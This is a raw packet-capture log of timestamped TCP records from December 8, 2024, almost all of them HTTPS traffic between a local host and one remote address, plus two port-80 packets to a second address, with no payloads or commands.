Dec 8, 2024 18:06:47.665796995 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.665851116 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.665885925 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.665923119 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.665955067 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.665970087 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:47.665986061 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.666023016 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:47.666029930 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.678500891 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.678554058 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:47.678561926 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.686851025 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.686912060 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:47.686918974 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.733743906 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:47.783098936 CET	80	49872	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:47.783634901 CET	49872	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:47.789515018 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.843126059 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:47.843135118 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.861855030 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.861946106 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.862890005 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:47.862898111 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.862941980 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:47.869652987 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.872786045 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.874927998 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:47.874933958 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.888360977 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.888432026 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.891103983 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:47.891112089 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.894165039 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:47.896167040 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.903966904 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.904064894 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.905721903 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:47.905730009 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.905807972 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:47.911817074 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.919708967 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.919924974 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:47.919931889 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.927846909 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.929605007 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:47.929616928 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.935376883 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.935450077 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:47.935456991 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.948904037 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.948983908 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.951255083 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:47.951263905 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:47.954935074 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:47.961672068 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.015101910 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.050103903 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.053559065 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.055191994 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.055200100 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.067135096 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.067143917 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.067205906 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.067214012 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.078516006 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.078579903 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.078588009 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.078629971 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.082165956 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.082910061 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.090095043 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.090104103 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.090167046 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.098042011 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.098048925 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.098123074 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.102104902 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.102113008 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.102174044 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.110305071 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.110316038 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.110383987 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.118001938 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.118097067 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.122061968 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.122118950 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.130158901 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.130223036 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.137975931 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.138058901 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.141930103 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.142003059 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.243683100 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.243756056 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.245346069 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.245394945 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.252043009 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.252101898 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.258291960 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.258371115 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.264413118 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.264477968 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.267523050 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.267581940 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.273093939 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.273159981 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.276014090 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.276078939 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.281558990 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.281620979 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.287096024 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.287156105 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.292714119 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.292768955 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.295605898 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.295653105 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.301357031 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.301417112 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.306737900 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.306807995 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.309602022 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.309659004 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.313759089 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.313821077 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.319437027 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.319509029 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.324892044 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.324959993 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.330681086 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.330741882 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.333447933 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.333506107 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.339102030 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.339167118 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.344499111 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.344564915 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.435914040 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.435980082 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.439457893 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.439521074 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.443985939 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.444053888 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.448554039 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.448612928 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.450855970 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.450906992 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.455224991 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.455291986 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.465152025 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.465158939 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.465184927 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.465226889 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.465238094 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.465249062 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.476675987 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.476692915 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.476756096 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.476764917 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.489891052 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.489905119 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.489952087 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.489960909 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.502151012 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.502166033 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.502221107 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.502228022 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.502264023 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.515482903 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.515496969 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.515569925 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.515578985 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.528599977 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.528614044 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.528671980 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.528680086 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.577502012 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.629889011 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.629897118 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.629914045 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.629940987 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.629950047 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.629956961 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.629966974 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.629993916 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.640126944 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.640146017 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.640175104 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.640182018 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.640211105 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.640225887 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.648459911 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.648474932 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.648514986 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.648521900 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.648533106 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.648560047 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.657629967 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.657644987 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.657676935 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.657682896 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.657705069 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.657727003 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.666604996 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.666620016 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.666656971 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.666666031 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.666676044 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.666701078 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.674905062 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.674921036 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.674972057 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.674978971 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.675014019 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.684276104 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.684292078 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.684328079 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.684334040 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.684355974 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.684376001 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.691617966 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.691632986 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.691668034 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.691674948 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.691684961 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.691714048 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.821820974 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.821840048 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.821883917 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.821892977 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.821933031 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.821950912 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.828941107 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.828955889 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.828991890 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.828999043 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.829035044 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.829058886 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.836169004 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.836185932 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.836246014 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.836253881 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.836291075 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.842439890 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.842458010 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.842499971 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.842505932 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.842555046 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.849546909 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.849560976 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.849595070 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.849637985 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.849642038 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.849682093 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.856376886 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.856391907 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.856421947 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.856429100 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.856461048 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.856484890 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.863524914 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.863540888 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.863601923 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.863609076 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.863647938 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.870707035 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.870721102 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.870778084 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:48.870784998 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:48.870817900 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.014834881 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.014853001 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.014936924 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.014945984 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.015000105 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.021044016 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.021060944 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.021119118 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.021130085 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.021171093 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.028218031 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.028233051 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.028283119 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.028290987 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.028331041 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.035403013 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.035418987 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.035470009 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.035476923 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.035517931 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.041631937 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.041668892 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.041697979 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.041702986 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.041726112 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.048389912 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.048405886 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.048466921 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.048475027 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.055701017 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.055716991 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.055785894 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.055793047 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.062726021 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.062742949 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.062800884 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.062808037 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.108902931 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.206207991 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.206227064 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.206304073 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.206312895 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.206357956 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.212405920 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.212424994 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.212496996 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.212503910 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.212546110 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.218297005 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.218323946 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.218373060 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.218379974 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.218409061 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.218425035 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.224607944 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.224626064 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.224700928 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.224709034 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.224746943 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.231220007 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.231235981 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.231277943 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.231287003 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.231316090 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.231331110 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.237055063 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.237077951 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.237108946 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.237116098 CET	443	49868	104.21.9.168	192.168.2.4
